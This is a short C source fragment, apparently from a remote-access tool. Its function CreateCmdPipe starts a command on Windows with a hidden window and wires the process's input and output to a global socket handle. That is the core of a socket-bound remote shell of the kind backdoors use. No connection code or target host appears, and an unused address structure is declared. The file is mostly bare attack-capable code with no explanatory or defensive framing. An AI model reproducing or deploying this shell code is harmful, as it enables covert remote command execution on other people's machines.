CreateCmdPipe

CreateCmdPipe.c

int CreateCmdPipe(char *szCmd)
{
    PROCESS_INFORMATION pi = {0};
    struct sockaddr_in sa = {0};
    STARTUPINFO si = {0};

    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (void *)g_hSock;

    int nRet = CreateProcess(NULL, szCmd, NULL, NULL,
        TRUE, 0, NULL, NULL, &si, &pi);
    if (0 == nRet) {
        //Log("CreateProcess fail. erron=[%d].\n", GetLastError());
        return -1;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}